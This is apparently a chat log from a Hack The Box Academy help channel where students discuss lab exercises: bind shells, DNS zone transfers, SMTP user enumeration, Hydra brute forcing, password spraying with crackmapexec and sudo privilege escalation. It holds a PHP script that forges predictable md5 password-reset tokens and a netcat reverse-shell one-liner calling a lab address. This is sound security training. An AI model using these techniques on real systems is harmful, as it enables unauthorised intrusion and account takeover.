For the question "SSH to the target, create a bind shell, then use netcat to connect to the target using the bind shell you set up. When you have completed the exercise, submit the contents of the flag.txt file located at /customscripts. " in the 'Bind Shells' section(https://academy.hackthebox.com/module/115/section/1105),
now that I ssh into my target, bind to a shell and connected to a netcat listener , not sure why I am unable to excecute any linux commands. I of course would execute linux commands to find the flag.txt file.

[fathom pendant]

Because you didn't properly create a bind shell

See the part : binding a bash shell

The section does walk you through creating and executing the bind shell

[loud sparrow]

Could someone give me a hint for the second question Skills Assessment: Using Crackmapexec?

[boreal crest]

Hey anyone here that can help with Skill Assessment II for Attacking Common Applications? I'm stuck post Gitlab registration looking for the 3rd VHost

[vital adder]

0 idea how i can help you here without spoiler so shoot me a dm if you still need help with that

[cedar void]

Okay. So I ssh into the target command, issued a payload command like the one in the example it says 'permission denied' and they didn't show what permissions you needed in the bash shell section they used in the examples.

[fathom pendant]

Try without sudo

Also change the port

You're trying to bind to a reserved port which requires sudo to do

You can do 8080

Or some other higher numbered port but iirc the first 1024 ports are reserved requiring sudo to override

[cedar void]

Okay , I tried it without sudo(thas why I initially used sudo) before and got the same issue. Now I am gonna try port 8080

[fathom pendant]

Your sudo isn't on the nc command btw, every semicolon is a new command

[solar grove]

global _start

section .text
_start:
mov rax, 2
mov rcx, 5
loop
imul rax, rax, 2 ; multiply rax by itself
loop loop ; decrease rcx and repeat the loop

; After the loop ends, the value of rax will be 2^5, that is 32.
; The hex value of rax is 20.
This corrected code will loop the "loop" tag 5 times and at the end the value of rax will be 2^5 which is 32. The hex value of rax is 0x20. but it says the answer is wrong . Edit the attached assembly code to loop the "loop" label 5 times. What is the hex value of "rax" by the end?

[mellow silo]

i feel soo stupid that i can't even finish 100% Introduction to Academy im in the interactive section with target and i can't even figure out how connect to the target website

[cedar void]

once I am in the target machine, I don't need any root permissions right? To find the flag.txt that I need to find

[fathom pendant]

Correct

[mellow silo]

can someone help

[fathom pendant]

That's the one where they give you ip:port yeah?

[mellow silo]

yep

[fathom pendant]

Have you tried using a web browser?

[mellow silo]

i used htb's vm, my running vm, and my actual pc

[fathom pendant]

ahem think more critically about what I said

I'm not saying using the pwnbox

I'm saying literally use a web browser

[solar grove]

Can anyone help me?

[mellow silo]

i tried a bunch of ways but right now i typed it without the http:// and it worked

i feel stupid rn

[zenith dirge]

Hello everyone, please help me solve Skills Assessment - File Upload Attacks I read the upload file and the second where the extensions were written which are on the white list, but I can't upload the file I tried to create with the bash script all the extension. Once I managed to upload a file using png, but nothing worked and I know that the script changes the file name to the date, which can be viewed through burb. Please write. Not personally

[quick crane]

who can help for this "BROKEN AUTHENTICATION-Predictable Reset Token"

[silver mesa]

Hint : Read the source code of upload.php using (limited file upload) section. which give you the complete idea about how the file upload works

[zenith dirge]

I read it

[silver mesa]

Go through code again, See the uploaded directory, format of file saving and finally the whitelisting.

[quick crane]

can you help me

[silver mesa]

Which module ?

[quick crane]

BROKEN AUTHENTICATION-Predictable Reset Token

[sly dome]

what do hoy need

you*

[silver mesa]

Sorry, Have not started the module.

[sly dome]

you just have to use the given (modify it) python script

The algorithm used to generate both tokens is the same as the one shown when talking about the Apache OpenMeeting bug.

that is all you need

[quick crane]

ok thanks

[quick crane]

I do it

but the result are all error

[sly dome]

do it better

i can send you my solution if you want but nothing more i can do

[zenith dirge]

I've been reading this code for 3 days, I understand that it prohibits the expansion of php files and I understand that it adds a date before the file name

[silver mesa]

can share the screenshot in DM

[sly dome]

i can help you in like 30min if u want

[zenith dirge]

Please write to me in DM because I'm leaving for work right now

[sly dome]

i am ready

[lusty thicket]

#boxes

[chrome hawk]

it says, "No Access". can you tell me whats this?

[lusty thicket]

go over to #welcome verify your account to access other channels

[zenith dirge]

I'm at work now, you can answer in DM

[barren apex]

can anyone give me a hand on the LFI Skills assessment,

||I have got the admin page and the log variable and when i try to run anything with the log variable from the index.php or admin page i get nothing returned||

[tulip coral]

Hey DM me

[leaden pond]

Module: Attacking Common Applications
Section: ColdFusion - Enumeration and Discovery

Question: I can't use my browser to navigate to IP:5500 as detailed in the module. I see the note in the module that says the VM may take up to 90s to load, but it's been way longer than 90s and I still get a timeout message whenever I try to access the target. I can ping the target just fine.

I have this problem on both PwnBox and my Kali VM

[sterile epoch]

I have been doing this

[sterile epoch]

Thanks I will try this now

[brisk viper]

Hey there, I'm doing the Broken Authentication-Path in the academy.
Atm I'm stuck at the first "Predictable Reset Token" Excercise.

1. I created a token on the Website.
2. I copied the hash and the date of creation.
3. Then i created the php script that will run the hashing function on the 'htbuser' -> that i can verify my cript is working.

||<?php
function generate_reset_token($username, $timestamp) {
$token = md5($username . $timestamp);
return $token;
}

$knownUsername = "htbuser";

// Loop through timestamps within the range
$timestamp = strtotime("2023-10-04 02:22:34pm");
for ($i = -3000; $i <= 3001; $i++) {
$timestampMilliseconds = intval($timestamp * $i);

$generatedHash = generate_reset_token($knownUsername, $timestampMilliseconds);
echo "Generated Hash: " . $generatedHash . "\n";

}
?>
||

The script has a tolerance of +-3 seconds but i still can't get the correct hash. I have seen a lot of same problems in the forum but i found no solutions to the problem.

Any advice?

[tranquil axle]

The way you generate the timestampmilliseconds seems off

Why are you multiplying

[brisk viper]

I used the function from the acadamy:

<?php
function generate_reset_token($username) {
  $time = intval(microtime(true) * 1000);
  $token = md5($username . $time);
  return $token;
}

And I use *3000 to specify a +- offset value of the timestamp in milliseconds

[tranquil axle]

That multiplied by 1000 to get to milliseconds from seconds, you want to do that and then also add -3000 to +3000 to get all values in the timeframe

But if you multiply the time stamp with -3000 or 0 you get numbers that are completely off

[brisk viper]

||
<?php
function generate_reset_token($username, $timestamp) {
$token = md5($username . $timestamp);
return $token;
}

$knownUsername = "htbuser";

// Loop through timestamps within the range
$timestamp = strtotime("2023-10-04 03:26:53pm");
for ($i = -3000; $i <= 3001; $i++) {
$timestampMilliseconds = intval(($timestamp + $i) * 1000);

$generatedHash = generate_reset_token($knownUsername, $timestampMilliseconds);
echo "Generated Hash: " . $generatedHash . "\n";

}
?>
||

Changed the function, but still with wrong output 😦

Looking for the hash:

[tranquil axle]

You now add -3000 to 3000 seconds to the time stamp and then make it into a millisecond number

But you want to make the time stamp into a millisecond one and then add -3000 to 3000 milliseconds

[brisk viper]

OMG

now i got it thanks!

Sometimes I make life difficult for myself 😄 time to catch a break

[fluid talon]

Hey question to penetration testing career path students; I am a novice offsec student coming into the penetration testing career path with some very fundamental knowledge. I am not entirely new, I understand basic networking, linux, web vulnerabilities, etc... but I would still be considered a beginner by every standard. how difficult of a learning curve will this learning path be? a friend of mine tells be that it's significantly more comprehensive than OSCP and that it will be a challenge

[austere minnow]

How did you get Burp to work? I keep getting:

connect to 127.0.0.1 port 8080 failed: Connection refused

• Failed to connect to 127.0.0.1 port 8080 after 12 ms: Couldn't connect to server
• Closing connection
  curl: (7) Failed to connect to 127.0.0.1 port 8080 after 12 ms: Couldn't connect to server

[leaden yew]

Make sure the Proxy Listeners (Under proxy settings) is showing 127.0.0.1:8080 and the checkbox is checked for the Running column.

[viscid cedar]

In the Windows Privilege Escalation module, Server Operators section, how do you crack the NTLM hash to get the Administrator password? I can crack the one on the page with both hashcat and crackstation but I not the one on the target that I retrieve with secretsdump.py.

[austere minnow]

Yup, that is set. I can use FoxyProxy through firefox with no issue.

[leaden yew]

what about /etc/proxychains.conf? Is http 127.0.0.1 8080 added and all other lines underneath the proxy list commented out?

[austere minnow]

Yes. The only thing different that I see is there is no proxychains.conf but there is a proxychains4.conf where I have made my edits. It reads from that config when running the command.

[leaden yew]

and you're using proxychains curl http://[server ip]:[port]?

Not 127.0.0.1, but for example: proxychains curl http://google.com

[vital quiver]

hi i read in here https://academy.hackthebox.com/module/143/section/1459 that later these methods to bypass AppLocker will be covered , searching around I do not see it in my unlocked CPTS path, any know where it is covered? thanks

[austere minnow]

└─$ proxychains curl http://www.google.com
[proxychains] config file found: /etc/proxychains4.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
curl: (7) Failed to connect to www.google.com port 80 after 3219 ms: Couldn't connect to server

[leaden yew]

Im honestly not sure, looks like you may using a different version of Proxychains (ver: 4?). Im currently using 3.1. I did find this:
https://unix.stackexchange.com/questions/624969/how-to-configure-proxychains-properly

Not the exact issue, but something similar

[sly dome]

idk what is going on but you do not need proxychains for burpsuite

[leaden yew]

they are testing CMD line tools to use Burpsuite as a proxy, for the Module Using Web Proxies Section: Proxying Tools

[sly dome]

make sure you have it in strictmode

the proxychains

[merry flame]

Hey i was stuck with the same error yesterday

all i needed to do was keep burp suite intercept mode on before running the proxychains curl command

[merry flame]

Silly me

[leaden yew]

lol that'll do it.

[sly dome]

well that is shown in the section material

[austere minnow]

Yeah I have the intercept running

[austere minnow]

Strict_chain is enabled.

[leaden yew]

do you have any weird settings in the /etc/hosts file?

can you curl without proxychains?

[austere minnow]

Nothing out of the norm in the hosts file and I can curl without proxychains.

[leaden yew]

weird

[austere minnow]

Heck yeah!

[leaden yew]

Try netstat -anp | grep :8080 to see if you get anything

[austere minnow]

Nothing

[leaden yew]

ahh, something is wrong with Burpsuite then. Its not opening the port.

Have you already tried restarting Burp?

[austere minnow]

Yes as well as specifying the IP 127.0.0.1:8080 in the proxy listeners

[leaden yew]

do you have any other applications trying to use 8080? Maybe try a different port?

[austere minnow]

Switch and still nothing. I don't get it.

[orchid pine]

am i doing somethiing worng with my cmnds

?

[leaden yew]

You're using the wrong hash type. Try ||5600||

||5600 NetNTLMv2||

[leaden yew]

Ya its not making any sense. The port should show as open in the system, but its not. (using the netstat command). Only thing I can suggest would be to find out why Burp isn't opening the port.

[austere minnow]

Appreciate all your help G

[orchid pine]

damn

i taught im on 5600

my bad and thx

[vital adder]

spoiler

[onyx halo]

Good day, all. Having trouble with Intro to Assembly Language final skill assessment question number 1 (Disassemble 'loaded_shellcode' and modify its assembly code to decode the shellcode, by adding a loop to 'xor' each 8-bytes on the stack with the key in 'rbx'. )
I put the disassembled shellcode on the stack in assembler, looped over it while xoring each 8 bytes with rbx, printf'ed it, and tried connecting each 8byte shellcode pieces in both directions (meaning from beginning to the end and vice versa). No correct answer. Am i following right direction here...? Spent 2 days already on it.

[orchid pine]

How can i blure the image

[quick crane]

who can help me this Open Beta Season III-Visual

[vital adder]

ask that in #1157735501516779711

[naive wadi]

hey man, I know this a long ago post but I am doing this and I get one hit which is my existing user, I have used the -Force switch to tell it to keep going but it keeps stopping at the first match. Do you know if there is anything else other than the -Force switch that should be used?

[half inlet]

this helps - thank you. I figured it out now

[half inlet]

I am now stuck on the third question 'Find and submit the contents of the TXT record as the answer'
(https://academy.hackthebox.com/module/144/section/1256) - I performed a dig search on both of the previously identified zones on the name server, and the hint says that one of the existing zones contains a TXT record - but I found nothing other than an A record on one, and a SOA record on the other that links back to itself and the other zone

any pointers?

I tried doing zone transfers to find information but everything I tried so far has failed

[solar willow]

not sure if you have this module unlocked, but it explained in more details about dns zone transfers. At least it helped me to answer the questions that you stuck onhttps://academy.hackthebox.com/module/112/section/1069

[orchid pine]

i cannot connect to the rdp

[orchid pine]

chow can i reach an techinical support

[mossy hatch]

do a dns recon using dnsenum you will find some subdomains there is one that contains your answer

[orchid pine]

now im getting this

rdesktop 10.129.156.189 -u htb-student -p Academy_student_AD!

[analog dock]

Put the password in single quotes

[orchid pine]

tried that same error

im getting black scree with xfreerdp

[analog dock]

Try xfreerdp /v:10.129.156.189 /u:htb-student /p:'Academy_student_AD!'

[orchid pine]

black screen XD again

[analog dock]

Black screen is fine

Just press enter lol

[orchid pine]

i did

i unistalled the xfreerdp

ill istall it and see

install *

[analog dock]

🤔

[orchid pine]

and it worked

[analog dock]

Was it black screen?

[orchid pine]

yeah

i needed to unistall

[sly kelp]

Use remmina

[austere minnow]

Hey g, you think it has to do with me using WSL?

[sly dome]

lol ofc

[austere minnow]

Thanks

[leaden yew]

yes def, a lot of things do not run well using WSL

[austere minnow]

Thanks

[tiny reef]

In "Hacking Wordpress" in the Skills Assessment I get the following message after going for a wpscan: ```Scan Aborted: The remote website is up, but does not seem to be running WordPress.

[sterile epoch]

I have a follow up question what if I do something that requires a password and I do not know it. how do I get out of it?

[acoustic owl]

Look at the source code.
The main page is not a Wordpress, so the scan is aborted.

[sly dome]

knowing the password

[sterile epoch]

I meant I do not know the password and i did something by mistake that requires the passs. now if i use ctrl+C the reverse shell kills itself

how do i get out of the input password prompt without triggering the incorrect password or killing the shell

[sly dome]

use an interactive shell

reverse shells are not a tty

i use the stty raw method

if it is a windows machine you better take a look at ConPtyShell

[sterile epoch]

I have not yet touched a windows machine

[tiny reef]

Thanks, got it now. I know always "try harder" but I think sometimes these modules are really dumb, like never mention this within the first 10 sections and in the skills assessment you get thrown under the bus. This is not a learning experience this is straight up wasting ppls time and creating unneccessary frustation.. if I want to be frustrated by not knowing things and learn I go to HTB platform, not the academy

[sly dome]

in the modules they explain you how to upgrade a shell to a tty

[tiny reef]

not your problem but had to let some steam off sry

[sly dome]

good luck with the exam then

skill assessments are not meant to be the same as sections but use what you have seen on them

[acoustic owl]

The module shows you how to find a Wordpress instance. In the skills assessments you can prove your knowledge.

It is important to understand why you are taking one step or another.
Taking the step is usually easy.

[barren apex]

how long does it take for the xss session hijacking labs admin to review the request so it triggers the xss

[sly dome]

2 seconds

dm me if help needed

[solar willow]

is cbbh just more focused on web application side of things compare to cpts? Looks like cpts covers most of the cbbh stuff.

[sly dome]

cbbh = web pentest, cpts = enterprise environment pentest (here you can find web apps running)

[half inlet]

Is anyone able to call or something to help me with DNS questions? im having a really hard time understanding & im not sure what im doing wrong

[solar willow]

bro I just tagged you earlier on where to read more

[half inlet]

yes i know and I read it but im not sure what to do

[sly dome]

just ask

we can help

[half inlet]

Working on this module: https://academy.hackthebox.com/module/144/section/1256

Right now, working on the question that asks about the zones. I found that the answer is two, but I do not know what the second one is - I misunderstood what it was asking and got it right on accident.

As far as it seems to me, there is only one because I can dig the domain (ns.inlanefreight.htb) and I get the following:

; <<>> DiG 9.18.12-1-Debian <<>> any ns.inlanefreight.htb
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 37263
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
;; QUESTION SECTION:
;ns.inlanefreight.htb.          IN      ANY

;; ANSWER SECTION:
ns.inlanefreight.htb.   900     IN      SOA     ns1-etm.att.net. nomail.etm.att.net. 1 604800 3600 2419200 900

;; Query time: 1179 msec
;; SERVER: 192.168.1.254#53(192.168.1.254) (TCP)
;; WHEN: Wed Oct 04 12:13:40 PDT 2023
;; MSG SIZE  rcvd: 111

Due to there being only one SOA record, would that not mean that there is only one zone? I'm not sure how I would find the other zone

[sterile epoch]

the academy student plan has practice machines or do I need to get htb vip sub?

[sly dome]

academy is a different site

[sly dome]

a zone is a set of subdomains

[half inlet]

for record, the command I used is:
dig any ns.inlanefreight.htb

[sly dome]

if you try axfr in all those subdomains you will find that another one is able to do axfr

then you have 2 zones

[half inlet]

in all what subdomains though? i dont understand

[sly dome]

you do axfr zone transfer in the zone provided in the exercise

right? are you there?

that returns some subdomains which means it is a zone

[mossy hatch]

you can also do nslookup it gives you subdomains

[sly dome]

i personally prefer dig

[half inlet]

I keep getting communication errors as well, not sure why - it's pingable for me

└─$ dig axfr ns.inlanefreight.htb
;; communications error to 192.168.1.254#53: timed out
;; communications error to 192.168.1.254#53: timed out
;; communications error to 192.168.1.254#53: timed out

; <<>> DiG 9.18.12-1-Debian <<>> axfr ns.inlanefreight.htb
;; global options: +cmd
; Transfer failed.

[mossy hatch]

yeah me too but i found the answer with nslookup and not with dig ahah

[acoustic owl]

https://www.cloudflare.com/learning/dns/glossary/dns-zone/

[sly dome]

you have to tell the ip address

recheck the module

[mossy hatch]

dig axfr ns.inlanefreight.htb @ip

[half inlet]

which ip should I use though? ive been kind of stuck on that

the ip of the target?

[acoustic owl]

the target

[mossy hatch]

the ip of the target

[sly dome]

the ip of the server in this case the target provided

[half inlet]

└─$ dig axfr ns.inlanefreight.htb 10.129.218.66      

; <<>> DiG 9.18.12-1-Debian <<>> axfr ns.inlanefreight.htb 10.129.218.66
;; global options: +cmd
; Transfer failed.

[sly dome]

you have a server with the dns port open usually 53

[half inlet]

Getting transfer failed still, but it connected atleast

[mossy hatch]

put an @ before the ip

[half inlet]

I tried that too, same result

[sly dome]

@ip

please i suggest you to take notes

about commands and all

[half inlet]

well i tried the one with the @ too, but it gave the same thing

┌──(jeremy㉿kali)-[~]
└─$ dig axfr ns.inlanefreight.htb @10.129.218.66

; <<>> DiG 9.18.12-1-Debian <<>> axfr ns.inlanefreight.htb @10.129.218.66
;; global options: +cmd
; Transfer failed.

[acoustic owl]

ns is not a zone, it is a NameServer

[mossy hatch]

try other subdomains it's not the one

[sly dome]

yea lol you have to specify the domain

dig axfr domain @server

you can specify a subdomain also but the one with the axfr enabled is told to you in the 1st question

[mossy hatch]

try with nslookup

[half inlet]

okay i got somewhere by just digging itself

[mossy hatch]

nslookup -type=any -query=axfr inlanefreight.htb ip

[half inlet]

gave me what looks like a zone file

[half inlet]

yes i just got that now

[sly dome]

cool

[half inlet]

just trying to figure out where to go now

[sly dome]

this means it is 1 zone

[acoustic owl]

Why do you try a query with ANY when you request a zone transfer?

[sly dome]

in the subdomains found there can be also another zone

the quick way is to just try axfr in all the discovered subdomains

[mossy hatch]

it's just a habit and a copy and paste

[sly dome]

you can use grep for this and make a loop

[half inlet]

oh i got it

but i have a question

would this entry not mean that the 'internal.inlanefreight.htb' is the same machine that im interacting with? if so, why does digging inlanefreight.htb and digging internal.inlanefreight.htb yield different results

[acoustic owl]

then ask

[half inlet]

sent early lol

1 sec

[half inlet]

meaning the same machine because of the loopback address

[sly dome]

for ip in $(dig axfr inlanefreight.htb @10.129.216.178 | grep "10.10." | awk '{print $1}'); do sudo echo "10.129.216.178 $ip" >> /etc/hosts; done

for example this can help u

[half inlet]

i already got the subdomain that had it but thank you

luckily it was near the top of the list or else id have to use that haha

[rain briar]

need some help on SMTP attacking common services module

trying to answer the first question enumerating for usernames : Ive tried metasploit smtp user enum. ive tried smtp-user-enum ive tried telnet and openssl connect and hydra still no dice

[mossy hatch]

what's your command for smtp-user-enum

[rain briar]

smtp-user-enum -M RCPT -u users.list -D inlanefreight.htb -t 10.129.105.180

[acoustic owl]

Keep in mind that certain servers may take a little longer to respond.

[mossy hatch]

you put inlanefreight.htb in your hosts file

?

[rain briar]

no

just tried that though still no dice

[mossy hatch]

weird i just tried it work for me

[rain briar]

showme your host file?

or the line you put in

i have the same thing

[mossy hatch]

weird try to reboot the target

[rain briar]

so sick of doing that with these labs its such a time waste

hang on

[mossy hatch]

do a ping first to be sure when you boot a target

if it doesnt work

[rain briar]

pinged it

stipll doesnt work though

WTF

[mossy hatch]

and you put the new ip in your host file?

[rain briar]

yup

[mossy hatch]

yeah weird you should get your answer

[acoustic owl]

check the time…

Query timeout is too short

[rain briar]

the query timeout?

i set it to -w 180 too no dice

[solar willow]

Why is username count 1?

[rain briar]

not sure

theirs prob 50 usernames in the list

Scan Information

Mode ..................... RCPT
Worker Processes ......... 5
Target count ............. 1
Username count ........... 1
Target TCP port .......... 25
Query timeout ............ 180 secs
Target domain ............ inlanefreight.htb

######## Scan started at Wed Oct 4 15:52:39 2023 #########
######## Scan completed at Wed Oct 4 15:52:39 2023 #########
0 results.

1 queries in 1 seconds (1.0 queries / sec)

whoops

smtp-user-enum -M RCPT -u /root/Downloads/users.list -D inlanefreight.htb -t 10.129.149.47 -w 180

[mossy hatch]

yeah

[rain briar]

i am

even copied and pasted usernames into another list and tried stillno dice i dont get it

wow

[mossy hatch]

still 1 username count?

[rain briar]

figured it out

it was because i was using -u instead of -U

thats the most annoying thing in the world

[acoustic owl]

180 sec?

between 5 and 180 is a big gap

[rain briar]

ill be on suicide watch for the next 2 hours

[acoustic owl]

yes, and the server kills the session in the meantime lol

[solar willow]

Lmao that shit got me with hydra once. Was on -l instead of -L

[sly dome]

imagine reading help panel

[rain briar]

bout to email the creator and tell him to create and error for that lol

LOL i did

[sly dome]

what error

[rain briar]

u and U man 'they look the same capitalized

[sly dome]

your useR was users.list

🤣

[rain briar]

ya i was using -u instead of -U

[mossy hatch]

lmao

[sly dome]

glad u got it

[rain briar]

no username would be users.list

this is my life

[sly dome]

imagine if it would be

[rain briar]

i actualyl see payloadbunny in teh forums lol

waht does my name show up as to yall

it says ChangeMe to me

[sly dome]

it does

[rain briar]

ya

anyone have a good email client can use for these labs

[solar willow]

Evolution

[abstract sable]

Has anyone finished Introduction to Web Applications module, please? I'm stuck on question "Check the above login form for exposed passwords. Submit the password as the answer." in Sensitive Data Exposure section.

[mossy hatch]

in #858470491676737536

[barren root]

oh right mb

[mossy hatch]

enumerate what you can about the website

[undone narwhal]

# Module: Password Attacks
# Section: Password Mutations

Tried Bruteforcing the FTP instead of SSH cuz its faster, it took me like 45mins but it came out empty. Can anybody give me length of the password so that i could filter the list and try again

Thank you

[abstract sable]

There's only one login form as an example with its comment with password test. Went through the entire source code.

[mossy hatch]

look at the question carrefully : "Submit the password as the answer."

[fathom pendant]

Use the lists and rules provided in resources

[undone narwhal]

I did use the given list

[fathom pendant]

Did you mutate it as described in the section?

[undone narwhal]

of course i did

[fathom pendant]

Also you can bump hydra threads to 48 relatively safely without false negative

[undone narwhal]

I set it 64

i'm trying something new if that didnt work will set it to low and will try again

[fathom pendant]

¯_(ツ)_/¯

I forget if you need to add the --local-auth flag

[tranquil axle]

I definitely had false positives with 64 threads on hydra with ftp

I reran it with 32 or so and that worked

[fathom pendant]

48 was my sweet spot

Roughly 10 minutes per on the long ones

[abstract sable]

The only password I found is test. That's incorrect answer though.

[mossy hatch]

your section is : Sensitive Data Exposure?

[abstract sable]

Yes

[mossy hatch]

show me the source code

dm

[sly dome]

solved just enum better

also be careful with cached source code

ctrl shift R to hard refresh

[abstract sable]

That's the solution I found but doesn't accept the answer

[sly dome]

trailing and leading spaces

double check that

[undone narwhal]

@mossy hatch Can I dm?

[mossy hatch]

yes

not sure if i can help tho

[sterile epoch]

hi, I am stuck at privilege escalation. I am currently doing the knowledge check section of getting started module in cpts. the machine uses getsimple application. I did some digging and found out it was using getsimple 3.3.15. it has a RCE exploit of id CVE-2019-11231. I tried reading the blog but I got confused as to how should I use the api key. then I tried using the metasploit exploit I successfully gained the foothold then I tried running the LinPEAS and LinEnum scripts they both say that I can nopasswd on /usr/bin/php but when I try to access the directory I get permission denied

a little help please

[sly dome]

gtfobins is your friend

you can run php as sudo without password is what that means

you can see it easier and quicker with sudo -l

[sterile epoch]

yes I did that

but when I try to get in the directory I get permission denied

[sly dome]

you did what?

https://gtfobins.github.io/gtfobins/php/#sudo

[sterile epoch]

I tried sudo -l
I saw /usr/bin/php is nopasswd
I tried to add a reverse shell in the directory but it says permission denied

www-data@gettingstarted:/usr/bin$ ls -l php
ls -l php
lrwxrwxrwx 1 root root 21 Feb  9  2021 php -> /etc/alternatives/php
www-data@gettingstarted:/usr/bin$ echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.15.20 7969 > /tmp/f" >> php
<bin/sh -i 2>&1|nc 10.10.15.20 7969 > /tmp/f" >> php
bash: php: Permission denied

[thorn urchin]

php isnt a directory

its an application

read the gobins entry on php

[sly dome]

🥲

i cannot

[sterile epoch]

Sorry I mistyped it directory

[sly dome]

reread the module

it explains the privesc in the Nibblesmachine

[thorn urchin]

and read the gobins entry on php closer

[sterile epoch]

Yes I will do it

Thanks for the help

[thorn urchin]

cause not to sound like a dick, but theres so many things wrong with your attempt there its hard to explain it all without nust spoiling the answer

but the biggest is that php is not a directory and directories have nothing to do with the situation

[sly dome]

also information security foundations path gonna give u a lot of valuable information

do it before Getting Started (in pentesting) module

[solar willow]

....

did you cd into php?...🥹

That's deep...

[thorn ingot]

Module: Broken Authentication
Section: Predictable Reset Token
Question:
Create a token on the web application exposed at subdirectory /question1/ using the *Create a reset token for htbuser* button. Within an interval of +-1 second a token for the htbadmin user will also be created. The algorithm used to generate both tokens is the same as the one shown when talking about the Apache OpenMeeting bug. Forge a valid token for htbadmin and login by pressing the "Check" button. What is the flag?

Am I supposed to make my own script?

[sly dome]

yez

you can use the php script from the section also

what i did was a custom Python script that triggers the htbuser token generation and after that sends all the possible htbadmin tokens via post (all those from +-1 second)

and if it finds Wrong in response text it just keep trying and if it doesn’t find it returns the response text and break the loop

[thorn ingot]

Thanks a bunch @sly dome

[sly dome]

any time

[inner hill]

Did anyone ever have issues with data showing up in elastic on Security Monitoring & SIEM Fundamentals

[deep shore]

Anyone have some wisdom for me in the Password Attacks Module? Attacking network services at the moment and Hydra is quoting me ~21 hours to finish a bruteforce. Unfortunately, I can extend neither the PwnBox or the target system that long. The restore file also seems to only start me back where I started, and not where I left off. Anything you guys have got would be appreciated. Thanks!

This is under the "Password Mutations" section of the module.

[proud lantern]

Hi there,

im doing the web enumeration module in the penetration path and it is asking me to add a DNS server such as 1.1.1.1 to /etc/resolv.conf file

im having a hard time figuring out how to do it and was hoping for some guidance

[hallow kiln]

don't brute force SSH basically, too slow

[deep shore]

...

Those are the module instructions my brother. I wouldn't if I didn't have to. 😂

[sly dome]

which section is that?

[proud lantern]

it is in the getting started module https://academy.hackthebox.com/module/details/77 under web enumeration

[hallow kiln]

it's not the only service running and the question says you need to log in with SSH after, not that it's explicitly what you have to brute force

[deep shore]

You are a sharper man than I

[sly dome]

try running the command without adding cloudflare dns’s

[hallow kiln]

it was a tedious module tbh, lots of waiting around for things to finish lol

[sly dome]

you can add em editing the /etc/resolv.conf file

[proud lantern]

im pretty new to this all, i'm quite green. not one hundred percent sure what you mean

im unsure how to edit it

i tried to use vim to edit it, but not sure thats the right way to go about it

[sly dome]

complete this before starting with pentesting

as pointed out by CPTS path indications:

[proud lantern]

aah i see

[sly dome]

it is not Getting Started from zero is Getting Started in Pentesting

[finite nest]

Knowledge about c++ is always a key to get into reverse engineering?

[proud lantern]

thanks for the information, ill give that a shot and have to come back to it

[sly dome]

C is considered mandatory to know for RE by a lot of people so i'd say yes

not everything will be coded in C/C++ but a lot of the compiled code around the world was written in those languages

what learning C really gives you is to see patterns, memory calls and all that stuff

[finite nest]

thanks

[sly dome]

always remember RE is not specific to 1 language

[finite nest]

Yea but often it is C/C++

[sly dome]

very often

also you need skills on Assembly

Intel and AT&T syntaxes

for windows and unix

a very complicated an deep field the RE one, good luck boy

[proud lantern]

Also, what currency is HTB in? is it USD or EUR?

[sly dome]

for me it is EUR

i think it changes based on public IP

[proud lantern]

i'm in australia, so does that mean it would be AUD then?

[sly dome]

check

under billing

[ebon jasper]

Can someone help me this modules third question?
What is the FQDN of the associated subdomain?
Associated subdomain is monitoring.inlanefreight.local

Throug web site I bruteforce login i find a password and user. I ended up terminal or admin page?
However i can't use other commands except from help list. How can I find FQDN from that?

It's been 3 days I tried to do everything with monitoring.inlanefreight.local. I found only that

I also tried command injection but failed

[sly dome]

spoilers btw

have you tried the FQDN as answer?

SUBDOMAIN-DOMAIN-TOPLEVELDOMAIN

[ebon jasper]

Yeah I tried

I tried to enter any domain that i found using brute force and zone transfer first day

But none of them were FQDN then I focused monitoring, because that subdomain only mentioned in that module

[ebon jasper]

Currently, I am in that session. I found command injection hope i will found something worthy

[tidal mango]

Did you try a zone transfer?

[ebon jasper]

Yes

Zone transfer monitoring domain didn't work

then i tried brute force but can't find anything

[tidal mango]

did you zone transfer on just inlanefreight.local?

[orchid pine]

hello guys in Ad enumeration im dealing with this question Find the user account starting with the letter "s" that has the password Welcome1. Submit the username as your answer.

[✗]─[htb-student@ea-attack01]─[/opt]
└──╼ $sudo crackmapexec smb 172.16.5.5 -u jsmith.txt -p Welcome1 | grep +
SMB 172.16.5.5 445 ACADEMY-EA-DC01 [+] INLANEFREIGHT.LOCAL\tjohnson:Welcome1
┌─[htb-student@ea-attack01]─[/opt]

butim having as answer only this user

[ebon jasper]

I did, found some subdomains I checked every subdomainds with dig, nslookup with every flag and zone transfer, but failed

I found something interesting, I bypassed filters and found command injection from monitoring I think i have to find something from that

[tidal mango]

You might be overthinking it.

[ebon jasper]

May be, because I am crazy now, 3 day I enumerate every subdomain that i found, but failed. It is annoying even help is not available for that question

[tidal mango]

When you did the zone transfer on inlanefreight.local, do any of those subdomains stand out to you?

[hallow kiln]

Add --continue-on-success at the end of your command

Crackmapexec otherwise stops at first match

Think that change was made after the module was written

[ebon jasper]

I tried, zone transfer for subdomains didn't work

[tidal mango]

but do any of those subdomain names look interesting? regarding a flag?

[ebon jasper]

I tried, now I am trying again but nothing. Did you finished that module?

[tidal mango]

yeah

what is the zone tranfer command your using?

[ebon jasper]

Did you found FQDN

[ebon jasper]

axfr

[tidal mango]

yes

show me the entire command

[ebon jasper]

dig axfr support.inlanefreight.local @10.129.97.182

this for subdomains

only inlanefreight.local working

[tidal mango]

......

ok for inlanefreight.local, what is the output you get?

[ebon jasper]

Same output with module but with flag

[tidal mango]

with flag????

[ebon jasper]

I mean flag subdomain

[tidal mango]

and....

what is the question asking?

[ebon jasper]

sorry i don't understand what you mean

I am searching FQDN not flag

[marble anvil]

please help i need a nudge on what wordlist to use for flag 4 of the web edition footprinting

let me double check

[tidal mango]

your on question 3 correct?

[marble anvil]

i am on question 4

[ebon jasper]

OMG 😱 🤦‍♂️ found it thank you

Why i focused monitoring...

[tidal mango]

happy to help!

[ebon jasper]

But i swear i did try to enter any subdomain

how i missed it is ...

[tidal mango]

its easy to get that tunnel vision on these, glad you got it!

[ebon jasper]

I expected this kind a simple answer i knew i will be surprised, because this kind a situations happened before, elementar stupid mistake and losing lot of time🤦‍♂️

[ebon jasper]

